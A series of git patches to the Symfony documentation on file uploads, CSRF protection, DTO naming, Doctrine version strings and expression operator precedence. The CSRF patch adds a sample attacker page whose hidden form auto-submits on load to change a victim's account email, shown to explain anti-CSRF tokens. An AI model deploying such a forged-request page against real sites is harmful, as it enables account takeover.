     {
-        public function _invoke(
-            #[MapUploadedFile([
-                new Assert\File(mimeTypes: ['image/png', 'image/jpeg']),
-                new Assert\Image(maxWidth: 3840, maxHeight: 2160)
-            ])]
-            UploadedFile $picture
+        #[Route('/user/picture', methods: ['PUT'])]
+        public function changePicture(
+            #[MapUploadedFile] UploadedFile $picture,
         ): Response {
             // ...
         }
     }
 
-.. tip::
-
-    The bound ``Constraints`` are performed before injecting the ``UploadedFile`` into the controller argument.
-    When a constraint violation is detected an ``HTTPException`` is thrown and the controller's
-    action is not executed.
-
-Mapping ``UploadedFile``s with no custom settings.
+In this example, the associated :doc:`argument resolver <controller/value_resolver>`
+fetches the ``UploadedFile`` based on the argument name (``$picture``). If no file
+is submitted, an ``HttpException`` is thrown. You can change this by making the
+controller argument nullable:
 
 .. code-block:: php-attributes
 
     #[MapUploadedFile]
-    UploadedFile $document
+    ?UploadedFile $document
 
-An ``HTTPException`` is thrown when the file is not submitted.
-You can skip this check by making the controller argument nullable.
+The ``#[MapUploadedFile]`` attribute also allows to pass a list of constraints
+to apply to the uploaded file::
 
-.. code-block:: php-attributes
+    namespace App\Controller;
 
-    #[MapUploadedFile]
-    ?UploadedFile $document
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\File\UploadedFile;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapUploadedFile;
+    use Symfony\Component\Routing\Attribute\Route;
+    use Symfony\Component\Validator\Constraints as Assert;
 
-.. code-block:: php-attributes
+    class UserController extends AbstractController
+    {
+        #[Route('/user/picture', methods: ['PUT'])]
+        public function changePicture(
+            #[MapUploadedFile([
+                new Assert\File(mimeTypes: ['image/png', 'image/jpeg']),
+                new Assert\Image(maxWidth: 3840, maxHeight: 2160),
+            ])]
+            UploadedFile $picture,
+        ): Response {
+            // ...
+        }
+    }
 
-    #[MapUploadedFile]
-    UploadedFile|null $document
+The validation constraints are checked before injecting the ``UploadedFile`` into
+the controller argument. If there's a constraint violation, an ``HttpException``
+is thrown and the controller's action is not executed.
 
-``UploadedFile`` collections must be mapped to array or variadic arguments.
-The bound ``Constraints`` will be applied to each file in the collection.
-If a constraint violation is detected to one of them an ``HTTPException`` is thrown.
+If you need to upload a collection of files, map them to an array or a variadic
+argument. The given constraint will be applied to all files and if any of them
+fails, an ``HttpException`` is thrown:
 
 .. code-block:: php-attributes
 
     #[MapUploadedFile(new Assert\File(mimeTypes: ['application/pdf']))]
     array $documents
 
-.. code-block:: php-attributes
-
     #[MapUploadedFile(new Assert\File(mimeTypes: ['application/pdf']))]
     UploadedFile ...$documents
 
-Handling custom names.
+Use the ``name`` option to rename the uploaded file to a custom value:
 
 .. code-block:: php-attributes
 
     #[MapUploadedFile(name: 'something-else')]
     UploadedFile $document
 
-Changing the ``HTTP Status`` thrown when constraint violations are detected.
+In addition, you can change the status code of the HTTP exception thrown when
+there are constraint violations:
 
 .. code-block:: php-attributes
 

From 6a8dbc6dfe6e9185ed859b3c9908fb84417598fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 May 2024 12:24:41 +0200
Subject: [PATCH 4722/5766] [Security] Improve the docs related to CSRF

---
 security/csrf.rst | 62 +++++++++++++++++++++++++++++++++++------------
 1 file changed, 47 insertions(+), 15 deletions(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index 87a1b972998..6a105e09771 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -1,15 +1,44 @@
 How to Implement CSRF Protection
 ================================
 
-CSRF - or `Cross-site request forgery`_ - is a method by which a malicious
-user attempts to make your legitimate users unknowingly submit data that
-they don't intend to submit.
+CSRF, or `Cross-site request forgery`_, is a type of attack where a malicious actor
+tricks a user into performing actions on a web application without their knowledge
+or consent.
 
-CSRF protection works by adding a hidden field to your form that contains a
-value that only you and your user know. This ensures that the user - not some
-other entity - is submitting the given data.
+The attack is based on the trust that a web application has in a user's browser
+(e.g. on session cookies). Here's a real example of a CSRF attack: a malicious
+actor could create the following website:
 
-Before using the CSRF protection, install it in your project:
+.. code-block:: html
+
+    <html>
+        <body>
+            <form action="https://example.com/settings/update-email" method="POST">
+                <input type="hidden" name="email" value="malicious-actor-address@some-domain.com"/>
+            </form>
+            <script>
+                document.forms[0].submit();
+            </script>
+
+            <!-- some content here to distract the user -->
+        </body>
+    </html>
+
+If you visit this website (e.g. by clicking on some email link or some social
+network post) and you were already logged in on the ``https://example.com`` site,
+the malicious actor could change the email address associated to your account
+(effectively taking over your account) without you even being aware of it.
+
+An effective way of preventing CSRF attacks is to use anti-CSRF tokens. These are
+unique tokens added to forms as hidden fields. The legit server validates them to
+ensure that the request originated from the expected source and not some other
+malicious website.
+
+Installation
+------------
+
+Symfony provides all the needed features to generate and validate the anti-CSRF
+tokens. Before using them, install this package in your project:
 
 .. code-block:: terminal
 
@@ -75,9 +104,9 @@ protected forms. As an alternative, you can:
 CSRF Protection in Symfony Forms
 --------------------------------
 
-Forms created with the Symfony Form component include CSRF tokens by default
-and Symfony checks them automatically, so you don't have to do anything to be
-protected against CSRF attacks.
+:doc:`Symfony Forms </forms>` include CSRF tokens by default and Symfony also
+checks them automatically for you. So, when using Symfony Forms, you don't have
+o do anything to be protected against CSRF attacks.
 
 .. _form-csrf-customization:
 
@@ -117,12 +146,15 @@ You can also customize the rendering of the CSRF form field creating a custom
 the field (e.g. define ``{% block csrf_token_widget %} ... {% endblock %}`` to
 customize the entire form field contents).
 
-CSRF Protection in Login Forms
-------------------------------
+.. _csrf-protection-in-login-forms:
+
+CSRF Protection in Login Form and Logout Action
+-----------------------------------------------
+
+Read the following:
 
-See :ref:`form_login-csrf` for a login form that is protected from CSRF
-attacks. You can also configure the
-:ref:`CSRF protection for the logout action <reference-security-logout-csrf>`.
+* :ref:`CSRF Protection in Login Forms <form_login-csrf>`;
+* :ref:`CSRF protection for the logout action <reference-security-logout-csrf>`.
 
 .. _csrf-protection-in-html-forms:
 

From e116b8a8b837685bb650100a663a3affaac07b0f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 9 May 2024 13:48:06 +0200
Subject: [PATCH 4723/5766] Update kernel.rst: Adding example for
 `kernel.project_dir`

Page: https://symfony.com/doc/6.4/reference/configuration/kernel.html#kernel-project-dir

Reason: Showing there is no trailing slash in the path.
---
 reference/configuration/kernel.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index dc46ebd8018..4a26597aeb2 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -261,12 +261,14 @@ method of the kernel class, which you can override to return a different value.
 ``kernel.project_dir``
 ----------------------
 
-**type**: ``string`` **default**: the directory of the project ``composer.json``
+**type**: ``string`` **default**: the directory of the project's ``composer.json``
 
 This parameter stores the absolute path of the root directory of your Symfony application,
 which is used by applications to perform operations with file paths relative to
 the project's root directory.
 
+Example: `/home/user/my_project`
+
 By default, its value is calculated automatically as the directory where the
 main ``composer.json`` file is stored. This value is also exposed via the
 :method:`Symfony\\Component\\HttpKernel\\Kernel::getProjectDir` method of the

From 5b8e1984e9c2aff1772fbab631f8cd8056006eb9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 May 2024 16:55:55 +0200
Subject: [PATCH 4724/5766] Don't capitalize acronyms in class names

---
 controller.rst        | 26 +++++++++++++-------------
 form/type_guesser.rst | 22 +++++++++++-----------
 2 files changed, 24 insertions(+), 24 deletions(-)

diff --git a/controller.rst b/controller.rst
index 1a46200ebdf..ec2777e7f19 100644
--- a/controller.rst
+++ b/controller.rst
@@ -401,7 +401,7 @@ optional validation constraints::
 
     use Symfony\Component\Validator\Constraints as Assert;
 
-    class UserDTO
+    class UserDto
     {
         public function __construct(
             #[Assert\NotBlank]
@@ -419,14 +419,14 @@ optional validation constraints::
 You can then use the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString`
 attribute in your controller::
 
-    use App\Model\UserDTO;
+    use App\Model\UserDto;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Attribute\MapQueryString;
 
     // ...
 
     public function dashboard(
-        #[MapQueryString] UserDTO $userDto
+        #[MapQueryString] UserDto $userDto
     ): Response
     {
         // ...
@@ -443,7 +443,7 @@ HTTP status to return if the validation fails::
         #[MapQueryString(
             validationGroups: ['strict', 'edit'],
             validationFailedStatusCode: Response::HTTP_UNPROCESSABLE_ENTITY
-        )] UserDTO $userDto
+        )] UserDto $userDto
     ): Response
     {
         // ...
@@ -454,14 +454,14 @@ The default status code returned if the validation fails is 404.
 If you need a valid DTO even when the request query string is empty, set a
 default value for your controller arguments::
 
-    use App\Model\UserDTO;
+    use App\Model\UserDto;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Attribute\MapQueryString;
 
     // ...
 
     public function dashboard(
-        #[MapQueryString] UserDTO $userDto = new UserDTO()
+        #[MapQueryString] UserDto $userDto = new UserDto()
     ): Response
     {
         // ...
@@ -497,14 +497,14 @@ In this case, it is also possible to directly map this payload to your DTO by
 using the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapRequestPayload`
 attribute::
 
-    use App\Model\UserDTO;
+    use App\Model\UserDto;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Attribute\MapRequestPayload;
 
     // ...
 
     public function dashboard(
-        #[MapRequestPayload] UserDTO $userDto
+        #[MapRequestPayload] UserDto $userDto
     ): Response
     {
         // ...
@@ -519,7 +519,7 @@ your DTO::
             serializationContext: ['...'],
             resolver: App\Resolver\UserDtoResolver
         )]
-        UserDTO $userDto
+        UserDto $userDto
     ): Response
     {
         // ...
@@ -537,7 +537,7 @@ the validation fails as well as supported payload formats::
             acceptFormat: 'json',
             validationGroups: ['strict', 'read'],
             validationFailedStatusCode: Response::HTTP_NOT_FOUND
-        )] UserDTO $userDto
+        )] UserDto $userDto
     ): Response
     {
         // ...
@@ -557,16 +557,16 @@ Make sure to install `phpstan/phpdoc-parser`_ and `phpdocumentor/type-resolver`_
 if you want to map a nested array of specific DTOs::
 
     public function dashboard(
-        #[MapRequestPayload()] EmployeesDTO $employeesDto
+        #[MapRequestPayload()] EmployeesDto $employeesDto
     ): Response
     {
         // ...
     }
 
-    final class EmployeesDTO
+    final class EmployeesDto
     {
         /**
-         * @param UserDTO[] $users
+         * @param UserDto[] $users
          */
         public function __construct(
             public readonly array $users = []
diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index b2137b82578..111f1b77986 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -44,14 +44,14 @@ This interface requires four methods:
 
 Start by creating the class and these methods. Next, you'll learn how to fill each in::
 
-    // src/Form/TypeGuesser/PHPDocTypeGuesser.php
+    // src/Form/TypeGuesser/PhpDocTypeGuesser.php
     namespace App\Form\TypeGuesser;
 
     use Symfony\Component\Form\FormTypeGuesserInterface;
     use Symfony\Component\Form\Guess\TypeGuess;
     use Symfony\Component\Form\Guess\ValueGuess;
 
-    class PHPDocTypeGuesser implements FormTypeGuesserInterface
+    class PhpDocTypeGuesser implements FormTypeGuesserInterface
     {
         public function guessType(string $class, string $property): ?TypeGuess
         {
@@ -90,9 +90,9 @@ The ``TypeGuess`` constructor requires three options:
   type with the highest confidence is used.
 
 With this knowledge, you can implement the ``guessType()`` method of the
-``PHPDocTypeGuesser``::
+``PhpDocTypeGuesser``::
 
-    // src/Form/TypeGuesser/PHPDocTypeGuesser.php
+    // src/Form/TypeGuesser/PhpDocTypeGuesser.php
     namespace App\Form\TypeGuesser;
 
     use Symfony\Component\Form\Extension\Core\Type\CheckboxType;
@@ -102,7 +102,7 @@ With this knowledge, you can implement the ``guessType()`` method of the
     use Symfony\Component\Form\Guess\Guess;
     use Symfony\Component\Form\Guess\TypeGuess;
 
-    class PHPDocTypeGuesser implements FormTypeGuesserInterface
+    class PhpDocTypeGuesser implements FormTypeGuesserInterface
     {
         public function guessType(string $class, string $property): ?TypeGuess
         {
@@ -188,7 +188,7 @@ and tag it with ``form.type_guesser``:
         services:
             # ...
 
-            App\Form\TypeGuesser\PHPDocTypeGuesser:
+            App\Form\TypeGuesser\PhpDocTypeGuesser:
                 tags: [form.type_guesser]
 
     .. code-block:: xml
@@ -201,7 +201,7 @@ and tag it with ``form.type_guesser``:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <service id="App\Form\TypeGuesser\PHPDocTypeGuesser">
+                <service id="App\Form\TypeGuesser\PhpDocTypeGuesser">
                     <tag name="form.type_guesser"/>
                 </service>
             </services>
@@ -210,9 +210,9 @@ and tag it with ``form.type_guesser``:
     .. code-block:: php
 
         // config/services.php
-        use App\Form\TypeGuesser\PHPDocTypeGuesser;
+        use App\Form\TypeGuesser\PhpDocTypeGuesser;
 
-        $container->register(PHPDocTypeGuesser::class)
+        $container->register(PhpDocTypeGuesser::class)
             ->addTag('form.type_guesser')
         ;
 
@@ -223,12 +223,12 @@ and tag it with ``form.type_guesser``:
     :method:`Symfony\\Component\\Form\\FormFactoryBuilder::addTypeGuessers` of
     the ``FormFactoryBuilder`` to register new type guessers::
 
-        use App\Form\TypeGuesser\PHPDocTypeGuesser;
+        use App\Form\TypeGuesser\PhpDocTypeGuesser;
         use Symfony\Component\Form\Forms;
 
         $formFactory = Forms::createFormFactoryBuilder()
             // ...
-            ->addTypeGuesser(new PHPDocTypeGuesser())
+            ->addTypeGuesser(new PhpDocTypeGuesser())
             ->getFormFactory();
 
         // ...

From e0a49ba49a8c6b1ca770cc8cfc659975212f2b7f Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 7 May 2024 16:13:00 +0200
Subject: [PATCH 4725/5766] [Security] Add support for dynamic CSRF id with
 Expression in `#[IsCsrfTokenValid]`

---
 security/csrf.rst | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/security/csrf.rst b/security/csrf.rst
index 76aaf9ea4bf..715ed8a5283 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -181,6 +181,32 @@ attribute on the controller action::
         // ... do something, like deleting an object
     }
 
+Suppose you want a CSRF token per item, so in the template you have something like the following:
+
+.. code-block:: html+twig
+
+    <form action="{{ url('admin_post_delete', { id: post.id }) }}" method="post">
+        {# the argument of csrf_token() is a dynamic id string used to generate the token #}
+        <input type="hidden" name="token" value="{{ csrf_token('delete-item-' ~ post.id) }}">
+
+        <button type="submit">Delete item</button>
+    </form>
+
+The :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`
+attribute also accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression`
+object evaluated to the id::
+
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
+    // ...
+
+    #[IsCsrfTokenValid(new Expression('"delete-item-" ~ args["post"].id'), tokenKey: 'token')]
+    public function delete(Post $post): Response
+    {
+        // ... do something, like deleting an object
+    }
+
 .. versionadded:: 7.1
 
     The :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`

From f3ac20ee191cb9b86c2ed30fc2f5852a434ad35a Mon Sep 17 00:00:00 2001
From: Nic Wortel <nic@nicwortel.nl>
Date: Fri, 10 May 2024 14:12:39 +0200
Subject: [PATCH 4726/5766] Replace serverVersion example values with full
 version numbers

Doctrine DBAL 3.6.0 deprecated incomplete version numbers for the serverVersion
value (for example 8 or 8.0 for MySQL). Instead, a full version number (8.0.37)
is expected.
See https://www.doctrine-project.org/projects/doctrine-dbal/en/4.0/reference/configuration.html#automatic-platform-version-detection
and https://github.com/doctrine/dbal/blob/4.0.x/UPGRADE.md#bc-break-disallowed-partial-version-numbers-in-serverversion.

This commit replaces partial version numbers with full version numbers.
It also replaces examples with EOL database versions (such as MySQL 5.7 and
PostgreSQL 11) with more modern, supported versions.

Fixes https://github.com/symfony/symfony-docs/issues/19876.
---
 doctrine.rst                         | 6 +++---
 doctrine/dbal.rst                    | 2 +-
 reference/configuration/doctrine.rst | 8 ++++----
 testing.rst                          | 4 ++--
 4 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 796d3bf02f1..5c881e31429 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -41,7 +41,7 @@ The database connection information is stored as an environment variable called
     # .env (or override DATABASE_URL in .env.local to avoid committing your changes)
 
     # customize this line!
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7"
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=8.0.37"
 
     # to use mariadb:
     # Before doctrine/dbal < 3.7
@@ -53,7 +53,7 @@ The database connection information is stored as an environment variable called
     # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"
 
     # to use postgresql:
-    # DATABASE_URL="postgresql://db_user:db_password@127.0.0.1:5432/db_name?serverVersion=11&charset=utf8"
+    # DATABASE_URL="postgresql://db_user:db_password@127.0.0.1:5432/db_name?serverVersion=12.19 (Debian 12.19-1.pgdg120+1)&charset=utf8"
 
     # to use oracle:
     # DATABASE_URL="oci8://db_user:db_password@127.0.0.1:1521/db_name"
@@ -75,7 +75,7 @@ database for you:
     $ php bin/console doctrine:database:create
 
 There are more options in ``config/packages/doctrine.yaml`` that you can configure,
-including your ``server_version`` (e.g. 5.7 if you're using MySQL 5.7), which may
+including your ``server_version`` (e.g. 8.0.37 if you're using MySQL 8.0.37), which may
 affect how Doctrine functions.
 
 .. tip::
diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index 544428a9691..a0e0286d53e 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -32,7 +32,7 @@ Then configure the ``DATABASE_URL`` environment variable in ``.env``:
     # .env (or override DATABASE_URL in .env.local to avoid committing your changes)
 
     # customize this line!
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7"
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=8.0.37"
 
 Further things can be configured in ``config/packages/doctrine.yaml`` - see
 :ref:`reference-dbal-configuration`. Remove the ``orm`` key in that file
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index ad6d89195cd..288a088b47a 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -57,7 +57,7 @@ The following block shows all possible configuration keys:
                 charset:              utf8mb4
                 logging:              '%kernel.debug%'
                 platform_service:     App\DBAL\MyDatabasePlatformService
-                server_version:       '5.7'
+                server_version:       '8.0.37'
                 mapping_types:
                     enum: string
                 types:
@@ -91,7 +91,7 @@ The following block shows all possible configuration keys:
                     charset="utf8mb4"
                     logging="%kernel.debug%"
                     platform-service="App\DBAL\MyDatabasePlatformService"
-                    server-version="5.7">
+                    server-version="8.0.37">
 
                     <doctrine:option key="foo">bar</doctrine:option>
                     <doctrine:mapping-type name="enum">string</doctrine:mapping-type>
@@ -134,13 +134,13 @@ If you want to configure multiple connections in YAML, put them under the
                     user:             root
                     password:         null
                     host:             localhost
-                    server_version:   '5.6'
+                    server_version:   '8.0.37'
                 customer:
                     dbname:           customer
                     user:             root
                     password:         null
                     host:             localhost
-                    server_version:   '5.7'
+                    server_version:   '8.2.0'
 
 The ``database_connection`` service always refers to the *default* connection,
 which is the first one defined or the one configured via the
diff --git a/testing.rst b/testing.rst
index f4edb68c404..cc71eb6c5eb 100644
--- a/testing.rst
+++ b/testing.rst
@@ -225,7 +225,7 @@ need in your ``.env.test`` file:
     # .env.test
 
     # ...
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=5.7"
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=8.0.37"
 
 In the test environment, these env files are read (if vars are duplicated
 in them, files lower in the list override previous items):
@@ -381,7 +381,7 @@ env var:
 .. code-block:: env
 
     # .env.test.local
-    DATABASE_URL="mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=5.7"
+    DATABASE_URL="mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=8.0.37"
 
 This assumes that each developer/machine uses a different database for the
 tests. If the test set-up is the same on each machine, use the ``.env.test``

From a54a981302525b5be80bb36655cf99fa779e6658 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 May 2024 12:59:26 +0200
Subject: [PATCH 4727/5766] Extend AbstractBundle instead of Bundle

---
 bundles/best_practices.rst            | 20 +++++++++++++-------
 service_container/compiler_passes.rst |  4 ++--
 2 files changed, 15 insertions(+), 9 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 0cdf4ecb2b9..5996bcbe43d 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -78,16 +78,22 @@ The following is the recommended directory structure of an AcmeBlogBundle:
     ├── LICENSE
     └── README.md
 
-This directory structure requires to configure the bundle path to its root
-directory as follows::
+.. note::
+
+    This directory structure is used by default when your bundle class extends
+    the recommended :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`.
+    If your bundle extends the :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle`
+    class, you have to override the ``getPath()`` method as follows::
 
-    class AcmeBlogBundle extends Bundle
-    {
-        public function getPath(): string
+        use Symfony\Component\HttpKernel\Bundle\Bundle;
+
+        class AcmeBlogBundle extends Bundle
         {
-            return \dirname(__DIR__);
+            public function getPath(): string
+            {
+                return \dirname(__DIR__);
+            }
         }
-    }
 
 **The following files are mandatory**, because they ensure a structure convention
 that automated tools can rely on:
diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index fda044a1195..fc5728685e0 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -75,9 +75,9 @@ method in the extension)::
 
     use App\DependencyInjection\Compiler\CustomPass;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
-    use Symfony\Component\HttpKernel\Bundle\Bundle;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
 
-    class MyBundle extends Bundle
+    class MyBundle extends AbstractBundle
     {
         public function build(ContainerBuilder $container): void
         {

From 9f0c2e955d74b0e4bf458b55e978881f425078b5 Mon Sep 17 00:00:00 2001
From: homersimpsons <guillaume.alabre@gmail.com>
Date: Fri, 3 May 2024 22:57:08 +0200
Subject: [PATCH 4728/5766] [ExpressionLanguage] Add operators precedence
 documentation

---
 reference/formats/expression_language.rst | 30 +++++++++++++++++++++++
 1 file changed, 30 insertions(+)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 370dbfd6f00..5bc2970024a 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -422,6 +422,36 @@ Other Operators
 * ``?.`` (:ref:`null-safe operator <component-expression-null-safe-operator>`)
 * ``??`` (:ref:`null-coalescing operator <component-expression-null-coalescing-operator>`)
 
+Operators Precedence
+~~~~~~~~~~~~~~~~~~~~
+
+The following table summarize the operators and their associativity from the highest to the lowest precedence.
+It can be useful to understand the actual behavior of an expression.
+
+To avoid ambiguities it is a good practice to add parentheses.
+
+=============================================  =============
+Operators                                      associativity
+=============================================  =============
+``-``, ``+``                                   none
+``**``                                         right
+``*``, ``/``, ``%``                            left
+``not``, ``!``                                 none
+``~``                                          left
+``+``, ``-``                                   left
+``..``                                         left
+``==``, ``===``, ``!=``, ``!==``,              left
+``<``, ``>``, ``>=``, ``<=``,
+``not in``, ``in``, ``contains``,
+``starts with``, ``ends with``, ``matches``
+``&``                                          left
+``^``                                          left
+``|``                                          left
+``and``, ``&&``                                left
+``or``, ``||``                                 left
+=============================================  =============
+
+
 Built-in Objects and Variables
 ------------------------------
 

From c883a117272ab8d9c3ce7a9dd9fda1b3cb4e00d0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 May 2024 14:50:37 +0200
Subject: [PATCH 4729/5766] Minor tweaks

---
 reference/formats/expression_language.rst | 51 +++++++++++++----------
 1 file changed, 28 insertions(+), 23 deletions(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 5bc2970024a..79af2d14002 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -425,32 +425,37 @@ Other Operators
 Operators Precedence
 ~~~~~~~~~~~~~~~~~~~~
 
-The following table summarize the operators and their associativity from the highest to the lowest precedence.
-It can be useful to understand the actual behavior of an expression.
-
-To avoid ambiguities it is a good practice to add parentheses.
-
-=============================================  =============
-Operators                                      associativity
-=============================================  =============
-``-``, ``+``                                   none
-``**``                                         right
-``*``, ``/``, ``%``                            left
-``not``, ``!``                                 none
-``~``                                          left
-``+``, ``-``                                   left
-``..``                                         left
-``==``, ``===``, ``!=``, ``!==``,              left
+Operator precedence determines the order in which operations are processed in an
+expression. For example, the result of the expression ``1 + 2 * 4`` is ``9``
+and not ``12`` because the multiplication operator (``*``) takes precedence over
+the addition operator (``+``).
+
+To avoid ambiguities (or to alter the default order of operations) add
+parentheses in your expressions (e.g. ``(1 + 2) * 4`` or ``1 + (2 * 4)``.
+
+The following table summarizes the operators and their associativity from the
+**highest to the lowest precedence**:
+
+=======================================================  =============
+Operators                                                associativity
+=======================================================  =============
+``-``, ``+`` (unary operators that add the number sign)  none
+``**``                                                   right
+``*``, ``/``, ``%``                                      left
+``not``, ``!``                                           none
+``~``                                                    left
+``+``, ``-``                                             left
+``..``                                                   left
+``==``, ``===``, ``!=``, ``!==``,                        left
 ``<``, ``>``, ``>=``, ``<=``,
 ``not in``, ``in``, ``contains``,
 ``starts with``, ``ends with``, ``matches``
-``&``                                          left
-``^``                                          left
-``|``                                          left
-``and``, ``&&``                                left
-``or``, ``||``                                 left
-=============================================  =============
-
+``&``                                                    left
+``^``                                                    left
+``|``                                                    left
+``and``, ``&&``                                          left
+``or``, ``||``                                           left
+=======================================================  =============
 
 Built-in Objects and Variables
 ------------------------------

From 132cbeb330c07fc82f0735d053144bd4bab3418c Mon Sep 17 00:00:00 2001
From: pecapel <pecapel.dev@gmail.com>
Date: Mon, 13 May 2024 11:02:13 +0200
Subject: [PATCH 4730/5766]  feat(templates): recommend Asset Mapper instead of
 Webpack

---
 templates.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/templates.rst b/templates.rst
index 37c1408af15..c3d4ac4d53d 100644
--- a/templates.rst
+++ b/templates.rst
@@ -329,8 +329,8 @@ as follows:
 Build, Versioning & More Advanced CSS, JavaScript and Image Handling
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-For help building, versioning and minifying your JavaScript and
-CSS assets in a modern way, read about :doc:`Symfony's Webpack Encore </frontend>`.
+For help building and versioning your JavaScript and
+CSS assets in a modern way, read about :doc:`Symfony's AssetMapper </frontend>`.
 
 .. _twig-app-variable:
 
@@ -1098,7 +1098,7 @@ JavaScript library.
 
 First, include the `hinclude.js`_ library in your page
 :ref:`linking to it <templates-link-to-assets>` from the template or adding it
-to your application JavaScript :doc:`using Webpack Encore </frontend>`.
+to your application JavaScript :doc:`using AssetMapper </frontend>`.
 
 As the embedded content comes from another page (or controller for that matter),
 Symfony uses a version of the standard ``render()`` function to configure

From 83a794c66197fd31238656462b9125d950eada0e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 May 2024 15:31:47 +0200
Subject: [PATCH 4731/5766] Tweak

---
 reference/configuration/kernel.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 4a26597aeb2..0125094a64d 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -267,8 +267,6 @@ This parameter stores the absolute path of the root directory of your Symfony ap
 which is used by applications to perform operations with file paths relative to
 the project's root directory.
 
-Example: `/home/user/my_project`
-
 By default, its value is calculated automatically as the directory where the
 main ``composer.json`` file is stored. This value is also exposed via the
 :method:`Symfony\\Component\\HttpKernel\\Kernel::getProjectDir` method of the
@@ -290,6 +288,8 @@ have deleted it entirely (for example in the production servers), override the
 
         public function getProjectDir(): string
         {
+            // when defining a hardcoded string, don't add the triailing slash to the path
+            // e.g. '/home/user/my_project', '/app', '/var/www/example.com'
             return \dirname(__DIR__);
         }
     }

From 90fa8ca7651a20126e7f3102b680fef87c71f7e2 Mon Sep 17 00:00:00 2001
From: Adam Williams <lol768@users.noreply.github.com>
Date: Mon, 13 May 2024 13:49:57 +0100
Subject: [PATCH 4732/5766] Respond to "patches welcome" comment

On symfony/symfony#11679
---
 components/http_foundation.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 9fa9ab6e33c..d4723d43e5a 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -730,6 +730,16 @@ The ``JsonResponse`` class sets the ``Content-Type`` header to
     Only methods that respond to GET requests are vulnerable to XSSI 'JSON Hijacking'.
     Methods responding to POST requests only remain unaffected.
 
+.. danger::
+
+    The ``JsonResponse`` constructor exhibits non-standard JSON encoding behavior
+    and will treat ``null`` as an empty object if passed as a constructor argument,
+    despite null being a `valid JSON top-level value`_.
+
